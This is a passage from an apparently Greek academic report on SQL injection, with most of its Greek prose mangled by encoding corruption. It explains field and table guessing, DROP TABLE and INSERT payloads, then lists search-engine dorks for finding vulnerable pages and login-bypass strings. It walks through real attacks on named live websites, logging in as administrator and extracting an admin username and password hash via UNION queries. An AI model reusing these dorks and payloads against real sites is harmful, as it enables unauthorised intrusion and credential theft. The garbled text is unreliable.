αξρή ελόο SQL statement.Απηόο είλαη έλαο απνηειεζκαηηθόο ηξόπνο λα ρξεζηκνπνηήζνπκε 

ηελ ηειεπηαία αλαθνξά θαη λα κελ αλαισζνύκε απνθιεηζηηθά ζην ηαίξηαζκα ησλ 

δηεπζύλζεσλ email. 
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Αλ ιάβνπκε κήλπκα ζθάικαηνο ηνπ server,απηό ζεκαίλεη όηη ν SQL θώδηθαο καο είλαη 

ιάζνο δνκεκέλνο θαη ππάξρεη ζπληαθηηθό ιάζνο.Πηζαλόλ νθείιεηαη ζε έλα ιάζνο 

ζρεκαηηζκέλν όλνκα πεδίνπ.Δάλ ιάβνπκε όκσο έλα νπνηνδήπνηε κήλπκα έγθπξεο απάληεζεο 

ηόηε ζεκαίλεη όηη ην όλνκα ηνπ πεδίνπ είλαη ζσζηό θαη όηη καληέςακε ζσζηά. 

Απηή είλαη ε πεξίπησζε όπνπ παίξλνπκε σο απάληεζε ην κήλπκα “email unknown” ή 

“password was sent”. 

Να ζεκεηώζνπκε όηη ρξεζηκνπνηνύκε ηελ εληνιή AND θαη όρη ηελ εληνιή OR ην νπνίν 

θαη γίλεηαη ζθνπίκσο.΢ην θνκκάηη ηεο SQL όπνπ απεηθόληδεηαη ε θάζε ραξηνγξάθεζεο ηεο 

επίζεζεο,δελ καο ελδηαθέξεη λα καληέςνπκε θάπνηα δηεύζπλζε email θαη δελ ζέινπκε 

ηπραίνπο ρξήζηεο ζηνπο νπνίνπο λα εκθαλίδεηαη ην κήλπκα “here is your password” θαζώο 

θάηη ηέηνην ζα δεκηνπξγνύζε ππόλνηεο ρσξίο ιόγν.Υξεζηκνπνηώληαο ηελ εληνιή AND θαη 

κία δηεύζπλζε email ε νπνία δελ ζα κπνξνύζε πνηέ λα είλαη έγθπξε,είκαζηε ζίγνπξνη όηη ε 

αίηεζε ζα επηζηξέθεη πάληα θελέο γξακκέο ηνπ πίλαθα θαη πνηέ δελ ζα αλαπαξαγεί έλα email 

ππελζύκηζεο γηα ηνλ θσδηθό ηνπ θάζε ρξήζηε. 

Καηαρσξώληαο ηα παξαπάλσ ζηνηρεία καο ήιζε απάληεζε από ην server κε ην κήλπκα 

“email address unknown”,έηζη γλσξίδνπκε όηη ε δηεύζπλζε email είλαη θαηαρσξεκέλε ζε έλα 

πεδίν email δηεπζύλζεσλ.Αλ δελ δνύιεπε απηό,ηόηε ζα δνθηκάδακε ηηο ιέμεηο email_adress ή 

mail.Έπεηηα,ην επόκελν πνπ ρξεηάδεηαη λα θάλνπκε είλαη λα καληέςνπκε άιια πξνθαλή 

νλόκαηα όπσο ην password,ην userid θ.α.΋ια απηά πξαγκαηνπνηνύληαη ηελ ίδηα ζηηγκή θαη 

νπνηαδήπνηε απάληεζε εθηόο από “server failure” ζεκαίλεη όηη ππνζέζακε ζσζηά ην όλνκα. 

 

SELECT fieldlist 

FROM table 

WHERE email = 'x' AND userid IS NULL; -- '; 

 

Από ην απνηέιεζκα απηήο ηεο δηαδηθαζίαο βξίζθνπκε έγθπξα νλόκαηα γηα ηα παξαθάησ 

πεδία: 

 email 

 passwd 

 login_id 

 full_name 
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13.3.Δύπεζη ονόμαηορ πίνακα 

Η αίηεζε ηεο εθαξκνγήο πνπ κόιηο έρεη δνκεζεί πεξηιακβάλεη κέζα ην όλνκα ηνπ 

πίλαθα,αιιά εκείο δελ ην γλσξίδνπκε ην ζπγθεθξηκέλν όλνκα.Τπάξρνπλ πνιιέο ηερληθέο γηα 

λα ην βξνύκε απηό.Μία πνπ ζα ρξεζηκνπνηήζνπκε ηώξα είλαη απηή πνπ βαζίδεηαη πάλσ ζε 

έλαλ subselect όξν. 

Μία ηέηνηνπ είδνπο απηόλνκε αίηεζε έρεη ηελ εμήο κνξθή: 

 

SELECT COUNT(*) FROM tabname 

 

Δηδηθόηεξα,επηζηξέθεη ηα ζηνηρεία πνπ απαξηίδνπλ ηνλ πίλαθα θαη θπζηθά απνηπγράλεη 

όηαλ ην όλνκα ηνπ πίλαθα είλαη άγλσζην.Έηζη,κπνξνύκε λα πξνζζέζνπκε ζηελ αίηεζε απηή 

έλα δηθό καο string πξνθεηκέλνπ λα πξνθαιέζνπκε ηελ εθαξκνγή λα καο εκθαλίζεη ην όλνκα 

ηνπ πίλαθα: 

 

   SELECT email, passwd, login_id, full_name 

FROM table 

WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); -- '; 

 

Γεληθά δελ καο ελδηαθέξεη πόζα ζηνηρεία απαξηίδνπλ ηνλ πίλαθα,θπζηθά κόλν ζηελ 

πεξίπησζε πνπ ην όλνκα ηνπ πίλαθα είλαη έγθπξν ή όρη.Κάλνληαο δηάθνξεο ππνζέζεηο 

θαηαιήμακε όηη ην όλνκα members ήηαλ έλα έγθπξν όλνκα πίλαθα ζηε βάζε 

δεδνκέλσλ.Αιιά πξέπεη λα εμεηάζνπκε αλ ην ζπγθεθξηκέλν όλνκα απνηειεί θαη ην όλνκα 

πίλαθα γηα απηήλ ηελ αίηεζε.Γη‟απηό ζα ην δνθηκάζνπκε ρξεζηκνπνηώληαο ην table.field ην 

νπνίν δνπιεύεη γηα πίλαθεο νη νπνίνη πξαγκαηηθά απνηεινύλ κέξνο ηεο αίηεζεο. 

 

SELECT email, passwd, login_id, full_name 

FROM members 

WHERE email = 'x' AND members.email IS NULL; -- '; 

 

΋ηαλ επηζηξαθεί κήλπκα ην νπνίν αλαθέξεη “Email unknown” ηόηε ν SQL θώδηθαο καο 

είλαη ζσζηά ζρεκαηηζκέλνο θαη επνκέλσο ππνζέζακε ζσζηά ην όλνκα ηνπ πίλαθα. 

 

13.4.Δύπεζη σπηζηών 

΢ε απηό ην ζεκείν έρνπκε κία κεξηθή ηδέα γηα ηε δνκή ηνπ πίλαθα members,αιιά 

γλσξίδνπκε κόλν έλα username ελόο αηόκνπ,ην ηπραίν κέινο πνπ επηιέμακε πξηλ θαη πνπ 
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έιαβε έλα mail όπνπ ηνπ έιεγε “Here is your password”.Πξέπεη λα έρνπκε ππόςηλ όηη ην 

κήλπκα απηό εκείο πνηέ δελ ην ιάβακε αιιά κόλν ην άηνκν ζην νπνίν άλεθε ε ζπγθεθξηκέλε 

δηεύζπλζε email. 

Σν πξσηαξρηθό πξάγκα πνπ πξέπεη λα θάλνπκε είλαη λα πάκε ζηε ζειίδα ηεο εηαηξείαο θαη 

λα δνύκε πιεξνθνξίεο ζρεηηθά κε απηήλ παηώληαο ζε ζπλδέζκνπο όπσο “About us” ή 

“Contact us”.Πνιιέο από απηέο πεξηιακβάλνπλ δηεπζύλζεηο email νη νπνίεο ζα καο 

βνεζήζνπλ γηα ηελ επίζεζε.Η ηδέα είλαη λα θαηαρσξήζνπκε κία αίηεζε ε νπνία ρξεζηκνπνηεί 

ηελ εληνιή LIKE,επηηξέπνληαο καο λα θάλνπκε δηαδνρηθέο αληηζηνηρήζεηο νλνκάησλ ή 

δηεπζύλζεσλ email ζηε βάζε δεδνκέλσλ,θάζε θνξά πνπ εκθαλίδεηαη ην κήλπκα “We sent 

your password”.Τπάξρεη όκσο έλα αδύλαην ζεκείν ζε απηή ηε θάζε.Κάζε θνξά πνπ 

απνθαιύπηεηαη κία δηεύζπλζε mail ηελ νπνία ηξέρνπκε ζηελ αίηεζε,απνζηέιιεηαη 

ηαπηόρξνλα ην κήλπκα απηό ζηε δηεύζπλζε απηή θάηη ην νπνίν πάιη κπνξεί λα δεκηνπξγήζεη 

ππόλνηεο.Απηό ζεκαίλεη όηη δελ πξέπεη λα απνζηέιινπκε καδηθά κελύκαηα ζε απηέο ηηο 

δηεπζύλζεηο. 

 

SELECT email, passwd, login_id, full_name 

FROM members 

WHERE email = 'x' OR full_name LIKE '%Bob% '; 

 

Γεληθά πξέπεη λα έρνπκε ππόςηλ όηη παξόιν πνπ κπνξεί λα ππάξρνπλ πνιινί ρξήζηεο κε 

ην ίδην όλνκα π.ρ “Bob” ζε καο ζα εκθαληζηεί κόλν έλα από απηά. 

 

13.5.Υπηζιμοποιήζη επίθεζηρ Brute-force password  

O νπνηζδήπνηε ζα κπνξνύζε λα καληέςεη θσδηθνύο κε ηε ρξήζε ηεο brute-force password 

ηερληθήο ζηελ θύξηα ζειίδα ζύλδεζεο αιιά πνιιά ζπζηήκαηα πξνζπαζνύλ λα αληρλεύνπλ 

ηέηνηεο ελέξγεηεο ή απιά λα ηηο εκπνδίδνπλ.Απηό ζα κπνξνύζε λα γίλεη κε ηε ρξήζε logfiles ή 

θιεηδώκαηνο ινγαξηαζκώλ ή άιισλ ηξόπσλ νη νπνίνη ζα εκπόδηδαλ ηηο πξνζπάζεηεο ησλ 

επηηηζέκελσλ. 

΢ηελ παξνύζα ηερληθή ζα πξαγκαηνπνηήζνπκε ειέγρνπο θσδηθώλ ζηνπο νπνίνπο ζα 

πεξηιακβάλεηαη κέζα ν εθάζηνηε θσδηθόο θαη ε δηεύζπλζε email.΢ην παξάδεηγκα καο 

ρξεζηκνπνηνύκε ηνλ ρξήζηε bob@example.com θαη δνθηκάδνπκε δηάθνξνπο θσδηθνύο. 

 

SELECT email, passwd, login_id, full_name 

FROM members 

WHERE email = 'bob@example.com' AND passwd = 'hello123 '; 

 

mailto:bob@example.com
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O ζπγθεθξηκέλoο είλαη έλαο ζσζηά ζρεκαηηζκέλνο SQL θώδηθαο θαη δελ πεξηκέλνπκε λα 

καο επηζηξαθεί θάπνην κήλπκα ιάζνπο από ηνλ server.Χο απνηέιεζκα ζα κάζνπκε ηνλ 

θσδηθό όηαλ εκείο ιάβνπκε ην κήλπκα “your password has been mailed to you”. 

Η δηαδηθαζία απηή κπνξεί επίζεο λα απηνκαηνπνηεζεί αλαπηύζζνληαο θαηάιιεια scripts 

ζε γιώζζα perl. 

 

 

13.6.Σποποποιήζειρ ζηη βάζη δεδομένυν 

Μέρξηο ζηηγκήο ειάρηζηα πξάγκαηα έρνπκε θάλεη όζνλ αθνξά ηελ 

επίζεζε,Δπηπιένλ,παξόιν πνπ ζηελ αίηεζε καο πεξηιακβάλεηαη ε SELECT ε νπνία είλαη 

κόλν γηα αλάγλσζε,απηό δε ζεκαίλεη όηη ηζρύεη γεληθά θαη γηα ηε βάζε δεδνκέλσλ SQL.Η 

SQL όπσο ζα έρνπκε παξαηεξήζεη ρξεζηκνπνηεί ηελ άλσ ηειεία γηα ηνλ ηεξκαηηζκό κίαο 

δήισζεο θαη εάλ ηα εηζαγόκελα δεδνκέλα δελ έρνπλ ειερζεί θαλνληθά ηόηε ηίπνηα δελ ζα καο 

εκπνδίζεη από ην λα εηζάγνπκε νηηδήπνηε εληνιέο ζην ηέινο ηεο αίηεζεο νη νπνίεο δελ έρνπλ 

ζρέζε κε ηε ζύληαμε θαη ην πεξηερόκελν ηνπ statement.  

To πην ραξαθηεξηζηηθό παξάδεηγκα είλαη ην εμήο: 

 

SELECT email, passwd, login_id, full_name 

FROM members 

WHERE email = 'x'; DROP TABLE members; -- ';  -- Boom! 

 

Σν πξώην κέξνο παξέρεη κία ςεύηηθε δηεύζπλζε email  -- 'x' – θαη εκάο δελ καο 

ελδηαθέξεη ηη ζα επηζηξέςεη ε αίηεζε απηή.Απηό πνπ καο βνεζάεη απηή ε ηερληθή είλαη λα 

κπνξέζνπκε λα εηζάγνπκε πεξηερόκελν κε-ζρεηηθό ζην ηέινο ηνπ query.Απηή ε ελέξγεηα 

πξνθαιεί ηελ δηαγξαθή νιόθιεξνπ ηνπ πίλαθα members κέζσ ηεο εληνιήο DROP ε νπνία δε 

θαίλεηαη θαη ηόζν ξηςνθίλδπλε ζηελ παξνύζα θάζε. 

Απηό δείρλεη όηη κπνξνύκε λα ηξέμνπκε μερσξηζηέο εληνιέο SQL αιιά θαη λα 

ηξνπνπνηήζνπκε ηα δεδνκέλα πνπ πεξηέρνληαη κέζα ζηε βάζε δεδνκέλσλ. 

 

13.7.Πποζθέηονηαρ ένα νέο σπήζηη 

Γεδνκέλνπ όηη γλσξίδνπκε κεξηθώο ηε δνκή ηνπ πίλαθα members,θαίλεηαη εύινγν λα 

πξνζπαζήζνπκε λα πξνζζέζνπκε έλα λέν ζηνηρείν ζηνλ πίλαθα απηόλ.Άκα ηα θαηαθέξνπκε 

ηόηε ζα κπνξνύκε λα θάλνπκε ζύλδεζε ηελ επόκελε θνξά κε ηα ζηνηρεία πνπ ζέζακε γηα ην 

ζπγθεθξηκέλν ρξήζηε. 
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SELECT email, passwd, login_id, full_name 

FROM members 

WHERE email = 'x';  

  INSERT INTO members ('email','passwd','login_id','full_name')   

  VALUES ('steve@unixwiz.net','hello','steve','Steve Friedl');--  

 

Αθόκα θαη αλ έρνπκε απνθηήζεη ζσζηά ηα νλόκαηα ησλ πεδίσλ θαη ησλ πηλάθσλ πνπ 

ρξεηαδόκαζηε,πξέπεη λα γίλνπλ θαη κία ζεηξά άιισλ πξαγκάησλ ζσζηά γηα λα έρνπκε κία 

επηηπρή επίζεζε: 

1.Δάλ δελ έρνπκε αξθεηό ρώξν ζηε θόξκα εηζαγσγήο θεηκέλνπ γηα λα κπνξνύκε λα 

γξάςνπκε όιν ην θείκελν καο. 

2.Η εθαξκνγή ίζσο λα κελ δίλεη ηε δπλαηόηεηα λα θάλνπκε INSERT ζηνλ πίλαθα 

members. 

3.Τπάξρνπλ πνιιά άιια πεδία ζηνλ πίλαθα members,θαη κεξηθά ίζσο απαηηνύλ λα 

ζέζνπκε  αξρηθέο ηηκέο πξνθαιώληαο ηελ εληνιή INSERT λα απνηύρεη. 

4.Δάλ αθόκα θαηαθέξνπκε λα εηζάγνπκε έλα λέν ζηνηρείν,ε εθαξκνγή ίζσο λα κελ 

ιεηηνπξγήζεη ζσζηά ιόγσ ηεο απηόκαηα εηζαγόκελεο εληνιήο NULL ζηα πεδία γηα ηα νπνία 

δελ παξείρακε ηηκέο εμ‟αξρήο. 

5.Έλα έγθπξν κέινο ίζσο λα κελ απαηηεί κόλν έλα ζηνηρείν ζηνλ πίλαθα members αιιά 

ζπζρεηηζκέλεο πιεξνθνξίεο ζε άιινπο πίλαθεο (say,”accessrights”),έηζη πξνζζέηνληαο ηνλ 

κόλν ζε έλαλ πίλαθα ίζσο λα κελ είλαη αξθεηό. 
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14.Yλοποίηζη και ΢ςμπεπάζμαηα 
΢ηε ζπγθεθξηκέλε πινπνίεζε πξαγκαηνπνηνύκε κία επίζεζε SQL Injection ζε ζειίδα ηνπ 

δηαδηθηύνπ ρξεζηκνπνηώληαο όια ηα πξνεγνύκελα ζηνηρεία πνπ αλαθέξακε ζηελ εξγαζία. 

Σν πξώην πξάγκα πνπ πξέπεη λα θάλνπκε είλαη λα βξνύκε εππαζείο  ζειίδεο ζε SQL 

Injection επίζεζε.Απηό κπνξεί λα επηηεπρζεί κέζσ εηδηθώλ πξνγξακκάησλ-SQLi scanners ή 

κέζσ κεραλώλ αλαδήηεζεο ρξεζηκνπνηνώληαο κεξηθέο από ηηο παξαθάησ θξάζεηο: 

allinurl:index.php?id= 

allinurl:trainers.php?id= 

allinurl:buy.php?category= 

allinurl:article.php?ID= 

allinurl:play_old.php?id= 

allinurl:newsitem.php?num= 

allinurl:readnews.php?id= 

allinurl:top10.php?cat= 

allinurl:historialeer.php?num= 

allinurl:reagir.php?num= 

allinurl:Stray-Questions-View.php?num= 

allinurl:forum_bds.php?num= 

allinurl:game.php?id= 

allinurl:view_product.php?id= 

allinurl:newsone.php?id= 

allinurl:sw_comment.php?id= 

allinurl:news.php?id= 

allinurl:avd_start.php?avd= 

allinurl:event.php?id= 

allinurl:product-item.php?id= 

allinurl:sql.php?id= 

allinurl:news_view.php?id= 

allinurl:select_biblio.php?id= 

 

allinurl:humor.php?id= 

allinurl:aboutbook.php?id= 

allinurl:ogl_inet.php?ogl_id= 

allinurl:fiche_spectacle.php?id= 

allinurl:communique_detail.php?id= 

allinurl:sem.php3?id= 

allinurl:kategorie.php4?id= 

allinurl:news.php?id= 

allinurl:index.php?id= 

allinurl:faq2.php?id= 

allinurl:show_an.php?id= 

allinurl:preview.php?id= 

allinurl:loadpsb.php?id= 

allinurl:opinions.php?id= 

allinurl:spr.php?id= 

allinurl:website.php?id= 

allinurl:hosting_info.php?id= 

allinurl:gallery.php?id= 
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allinurl:rub.php?idr= 

allinurl:view_faq.php?id= 

allinurl:artikelinfo.php?id= 

allinurl:detail.php?ID= 

allinurl:index.php?= 

allinurl:profile_view.php?id= 

allinurl:category.php?id= 

allinurl:publications.php?id= 

allinurl:fellows.php?id= 

allinurl:downloads_info.php?id= 

allinurl:prod_info.php?id= 

allinurl:shop.php?do=part&id= 

allinurl:productinfo.php?id= 

allinurl:collectionitem.php?id= 

allinurl:band_info.php?id= 

allinurl:product.php?id= 

allinurl:releases.php?id= 

allinurl:ray.php?id= 

allinurl:produit.php?id= 

allinurl:pop.php?id= 

allinurl:shopping.php?id= 

allinurl:productdetail.php?id= 

allinurl:post.php?id= 

allinurl:viewshowdetail.php?id= 

allinurl:clubpage.php?id= 

allinurl:memberInfo.php?id= 

allinurl:section.php?id= 

allinurl:theme.php?id= 

allinurl:page.php?id= 

allinurl:shredder-categories.php?id= 

allinurl:tradeCategory.php?id= 

allinurl:product_ranges_view.php?ID= 

allinurl:shop_category.php?id= 

allinurl:transcript.php?id= 

allinurl:channel_id= 

allinurl:item_id= 

allinurl:newsid= 

allinurl:clanek.php4?id= 

allinurl:announce.php?id= 

allinurl:chappies.php?id= 

allinurl:read.php?id= 

allinurl:viewapp.php?id= 

allinurl:viewphoto.php?id= 

allinurl:rub.php?idr= 

allinurl:galeri_info.php?l= 

allinurl:review.php?id= 

allinurl:iniziativa.php?in= 

allinurl:curriculum.php?id= 

allinurl:labels.php?id= 

allinurl:story.php?id= 
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allinurl:look.php?ID= 

allinurl:newsone.php?id= 

allinurl:aboutbook.php?id= 

 

Δμαζθαιίδνληαο ζύλδεζε κε ηνλ ινγαξηαζκό ηνπ administrator 

Οη πεξηζζόηεξεο ζειίδεο είλαη εππαζείο ζε αξρεία πνπ ηειεηώλνπλ ζε 

.asp.Αξρηθά,ρξεηάδεηαη λα βξνύκε sites ζηα νπνία ππάξρεη θόξκα ζύλδεζεο θαη είλαη 

επάισηα ζε SQL injection.΢ε κία κεραλή αλαδήηεζεο πιεθηξνινγνύκε ηα παξαθάησ όπσο 

θάλακε θαη πξνεγνπκέλσο γηα λα βξνύκε ηελ εππάζεηα: 

"inurl:admin.asp" 

"inurl:login/admin.asp" 

"inurl:admin/login.asp" 

"inurl:adminlogin.asp" 

"inurl:adminhome.asp" 

"inurl:admin_login.asp" 

"inurl:administratorlogin.asp" 

"inurl:login/administrator.asp" 

"inurl:administrator_login.asp" 

Μεηά από εύξεζε ησλ παξαθάησ αλαθαιύςακε όηη ε ζειίδα 

http://globaloiljobs.com/Admin_Login.asp είλαη εππαζήο θαη ηθαλνπνηεί ην ζπγθεθξηκέλν 

παξάδεηγκα καο.΢ε απηήλ ηε ζειίδα παξαηεξνύκε όηη ππάξρεη κία θόξκα όπνπ γηα λα 

απνθηήζνπκε πξόζβαζε πξέπεη λα είκαζηε νη δηαρεηξηζηέο ηεο ζειίδαο. 

 

΢ε ηέηνηεο πεξηπηώζεηο  εηζάγνπκε πάληα σο username ηε ιέμε “Admin” θαη σο password 

έλαλ από ηνπο παξαθάησ ζπλδπαζκνύο: 

' or '1'='1 

' or 'x'='x 

' or 0=0 --  

 

" or 0=0 --  

 

or 0=0 --  

 

' or 0=0 #  

 

" or 0=0 #  

 

or 0=0 #  

http://globaloiljobs.com/Admin_Login.asp
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' or 'x'='x  

 

" or "x"="x  

 

') or ('x'='x  

 

' or 1=1--  

 

" or 1=1--  

 

or 1=1--  

 

' or a=a--  

 

" or "a"="a  

 

') or ('a'='a  

 

") or ("a"="a  

 

hi" or "a"="a  

 

hi" or 1=1 --  

 

hi' or 1=1 –  

'or'1=1' 

 

΢ην ζπγθεθξηκέλν παξάδεηγκα ζα εηζάγνπκε γηα Username: Admin θαη password: 'or'1'='1  
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Παξαηεξνύκε όηη ζπλδεζήθακε επηηπρώο σο δηαρεηξηζηέο!Πιένλ από απηή ηε ζέζε 

κπνξνύκε λα ηξνπνπνηήζνπκε πνιιά πξάγκαηα ζηε ζειίδα. 

 

Δύξεζε usename θαη password δηαρεηξηζηή 

΋πσο θάλακε θαη ζηε πξνεγνύκελε πεξίπησζε ζα αλαδεηήζνπκε γηα εππαζείο ζειίδεο 

κέζα από κία κεραλή αλαδήηεζεο.Όζηεξα από εύξεζε,ζπλδεζήθακε ζηελ εμήο ζειίδα: 

http://www.cocobod.gh/news_details.php?id=30 

Γηα λα δνύκε αλ είλαη όλησο εππαζήο ζα πξνζζέζνπκε κία απόζηξνθν ζην ηέινο: 

 

Η ζειίδα πξάγκαηη είλαη εππαζήο θαζώο ιάβακε ζθάικα. 

 

Δύξεζε αξηζκνύ ζηειώλ(columns) 

Αθνύ βξήθακε αλ είλαη επάισηε ε ζειίδα,ηώξα ζα πξέπεη λα κάζνπκε ηνλ αξηζκό ησλ 

ζηειώλ πξνζζέηνληαο ηελ εληνιή “order by X --“ ζην ηέινο ηεο δηεύζπλζεο URL όπνπ ην Υ 

είλαη έλαο αξηζκόο από ην 1 έσο ην άπεηξν.Γνθηκάδνπκε αξηζκνύο κέρξη ηε ζηηγκή πνπ ζα 

ιάβνπκε ην πξώην ζθάικα. 

΢πγθεθξηκέλα,εθηειέζακε ηα αθόινπζα: 

http://www.cocobod.gh/news_details.php?id=30 order by 1-- >> no error 

http://www.cocobod.gh/news_details.php?id=30 order by 2-- >> no error 

http://www.cocobod.gh/news_details.php?id=30 order by 3-- >> no error 

http://www.cocobod.gh/news_details.php?id=30 order by 4-- >> no error 

http://www.cocobod.gh/news_details.php?id=30 order by 5-- >> no error 

http://www.cocobod.gh/news_details.php?id=30 order by 6-- >> no error 

http://www.cocobod.gh/news_details.php?id=30 order by 7-- >> no error 

http://www.cocobod.gh/news_details.php?id=30 order by 8-- >> Unknown column 

 

http://www.cocobod.gh/news_details.php?id=30
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Απηό ζεκαίλεη όηη ε 8
ε
 ζηήιε δελ ππάξρεη,άξα ν ζπλνιηθόο αξηζκόο ησλ ζηειώλ είλαη 7! 

 

Δύξεζε πξνζβάζηκσλ ζηειώλ 

Αθνύ βξήθακε όηη ν αξηζκόο ησλ ζηειώλ είλαη 7,ην επόκελν βήκα είλαη λα ειέμνπκε αλ 

ππάξρνπλ πξνζβάζηκεο ζηήιεο.Γηα λα ην θάλνπκε απηό ζα ρξεζηκνπνηήζνπκε ηελ εληνιή 

"UNION SELECT number,of,columns--" ή όπσο ην παξαθάησ: 

http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,6,7-- 

 

Σν απνηέιεζκα ζα είλαη απηό: 

 

Απηό ζεκαίλεη όηη κπνξνύκε λα πάξνπκε πιεξνθνξίεο από ηελ 6
ε
,ηελ 2

ε
 θαη ηελ 3

ε
 ζηήιε. 

 

Δύξεζε έθδνζεο MySQL βάζεο δεδνκέλσλ 

Δίλαη απαξαίηεην λα γλσξίδνπκε ηελ έθδνζεο ηεο βάζεο δεδνκέλσλ γηα λα μέξνπκε αλ 

κπνξνύκε λα επηηεζνύκε ή όρη ζηε ζειίδα.Γεληθά,νη ζειίδεο νη νπνίεο ρξεζηκνπνηνύλ 

MySQL έθδνζε 4.x.x δελ είλαη εθηθηό γηα καο λα επηηεζνύκε,ελώ ζηηο εθδόζεηο άλσ ηνπ 5.x.x 

είλαη εθηθηό.Γηα λα ην αλαθαιύςνπκε απηό απιά αληηθαζηζηνύκε ηνλ αξηζκό ηεο 

ρξεζηκνπνηεκέλεο ζηήιεο(ηνλ αξηζκό 6 δειαδή) κε ην "@@version".Γειαδή:  

 

http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,@@version,7-- 
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Απηό ζεκαίλεη όηη κπνξνύκε λα ζπλερίζνπκε λα δνπιεύνπκε κε ηε ζειίδα θαζώο ε 

έθδνζε είλαη 5.1.39. 

 

Δύξεζε νλόκαηνο βάζεο δεδνκέλσλ 

΢ε απηό ην ζεκείν ζα πξνζπαζήζνπκε λα θάλνπκε inject από ηε ζειίδα ην όλνκα ηεο 

βάζεο δεδνκέλσλ.Γηα λα ην θάλνπκε απηό,ζα αληηθαηαζηήζνπκε ην ρξεζηκνπνηνύκελν 

αξηζκό ζηήιεο(ην 6) κε "group_concat(schema_name)", θαη ζα πξνζζέζνπκε ην "from 

information_schema.schemata--" κεηά ηνλ ηειεπηαίν αξηζκό ζηήιεο.Γηα παξάδεηγκα: 

http://www.cocobod.gh/news_details.php?id=30 union select 

1,2,3,4,5,group_concat(schema_name),7 from information_schema.schemat-- 

 

 

Σώξα γηα λα βξνύκε ηε βάζε δεδνκέλσλ πνπ ρξεζηκνπνηεί ε ζειίδα απηή ηε ζηηγκή ζα 

αληηθαηαζηήζνπκε ην "group_concat(schema_name)" κε ην "concat(database())". Γειαδή: 
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http://www.cocobod.gh/news_details.php?id=30unionselect 1,2,3,4,5,concat(database()),7 

from information_schema.schemata-- 

 

 

 

 

΋πσο βιέπνπκε,αλαθηήζακε ηε ρξεζηκνπνηεκέλε βάζε δεδνκέλσλ ε νπνία είλαη ε 

cocobod_codbnew! 

 

Αλάθηεζε νλνκάησλ ησλ πηλάθσλ 

Γηα λα αλαθηήζνπκε ηα όλνκαηα ησλ πηλάθσλ,ζα αληηθαηαζηήζνπκε ην ρξεζηκνπνηεκέλν 

αξηζκό ζηειώλ κε ην "group_concat(table_name)" θαη ζα πξνζζέζνπκε ην "from 

information_schema.tables where table_schema=database()--" ζην ηέινο ηνπ αξηζκνύ ησλ 

ζηειώλ.Γειαδή: 

http://www.cocobod.gh/news_details.php?id=30 union select 

1,2,3,4,5,group_concat(table_name),7 from information_schema.tables where 

table_schema=database()— 
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Αλάθηεζε νλνκάησλ ζηειώλ 

Γηα λα αλαθηήζνπκε ηα νλόκαηα ησλ ζηειώλ ζα ρξεζηκνπνηήζνπκε ηελ παξαθάησ 

αίηεζε: 

group_concat(column_name) 

from information_schema.columns where table_schema=database()- 

Γειαδή: 

http://www.cocobod.gh/news_details.php?id=30 union select 

1,2,3,4,5,group_concat(column_name),7 from information_schema.columns where 

table_schema=database()-- 

 

 

 

Αλάθηεζε πιεξνθνξηώλ από ηηο ζηήιεο 

 

Δίκαζηε ζην ηειηθό βήκα γηα ηελ απόθηεζε ησλ πιεξνθνξηώλ ηνπ δηαρεηξηζηή από ηε 

ζηήιε.Γηα ηελ επίηεπμε απηνύ ηνπ ζηόρνπ ζα εηζάγνπκε ηνλ θώδηθα: 

http://www.site.com/news_details.php?id=30 union select 

1,2,3,4,5,group_concat(columusername,0x3a,columnpassword),7 from 

currentdb.tableuse-- 

 

Έηζη ην exploit καο ζα κνηάδεη ηώξα θάπσο έηζη: 

http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5, 

group_concat(username,0x3a,password),7 from cocobod_codbnew.coc_admin-- 
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To comaster είλαη ην username ηνπ δηαρεηξηζηή θαη ν αξηζκόο hash είλαη ην password πνπ 

ζπλήζσο είλαη θξππηνγξαθεκέλν ζε md5.Πιένλ ε επίζεζε SQL Injection έρεη νινθιεξσζεί 

κε επηηπρία!΢ην βίληεν ηεο παξνπζίαζεο αλαιύνπκε επίζεο άιιε κία επίζεζε ε νπνία 

πξαγκαηνπνηείηαη ζηε ζειίδα http://www.tartanarmy.com/news/news.php?id=130 . 

 

 

  

http://www.tartanarmy.com/news/news.php?id=130
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15. ΢ςμπεπάζμαηα 
 

Η ρξήζε SQL Injection δελ πξέπεη λα ζεσξείηαη όηη είλαη θάηη απιό. Δίλαη πηζαλόηαηα έλα 

από ηνπο πην δπλαηνύο ηξόπνπο γηα λα θάλεη θάπνηνο hacking θαη επίζεο είλαη ν πην απιόο 

θαζώο δελ ρξεηάδεηαη ηδηαίηεξα εξγαιεία, αιιά κνλάρα έλαο web browser. Από εθεί θαη πέξα 

αλ θάπνηνο έρεη ηηο απαξαίηεηεο γλώζεηο κπνξεί λα απνθηήζεη πιήξεο πξόζβαζε ζην 

κεράλεκα, πέξαλ από ηα δεδνκέλα πνπ κπνξεί λα έρεη ε βάζε δεδνκέλσλ. Απηό πνπ 

θαηαθέξλεη λα θάλεη θάπνηνο νπζηαζηηθά είλαη λα „εμαπαηήζεη‟ ην ζύζηεκα θαη λα ηνπ δώζεη 

όιεο ηηο πιεξνθνξίεο πνπ δεηάεη.Γεληθά,νη επηζέζεηο κέζσ SQL injection απνηεινύλ κηα από 

ηηο κεγαιύηεξεο δηαδηθηπαθέο απεηιέο, ηηο νπνίεο νη δηαρεηξηζηέο δηθηύσλ θαη ηζηνζειίδσλ 

πξέπεη λα ιακβάλνπλ ζνβαξά ππόςε.Σέηνηνπ είδνπο επηζέζεηο θάλνπλ ηελ εκθάληζή ηνπο 

θαηά θύξην ιόγν ζε δηαδηθηπαθέο εθαξκνγέο.Γηα ηνλ ιόγν απηό πξνηείλνπκε ηνλ ζπρλό 

έιεγρν ησλ ηζηνζειίδσλ θαζώο θαη θάζε κηαο δηαδηθηπαθήο εθαξκνγήο μερσξηζηά.Οη 

ηαθηηθνί έιεγρνη ζα πξέπεη λα κπνπλ πιένλ σο κόληκε θαη ζηαζεξή δηαδηθαζία αλά ηαθηά 

ρξνληθά δηαζηήκαηα θαη λα πηνζεηεζνύλ από ηνπο δηαρεηξηζηέο ησλ εηαηξηθώλ 

δηθηύσλ.Δηδηθόηεξα, γηα ηνλ έιεγρν ησλ δηαδηθηπαθώλ εθαξκνγώλ δελ είλαη απαξαίηεηα 

αλάγθε λα ρξεζηκνπνηήζνπκε “custom” εξγαιεία αιιά γηα βαζηθέο εππάζεηεο κπνξνύκε λα 

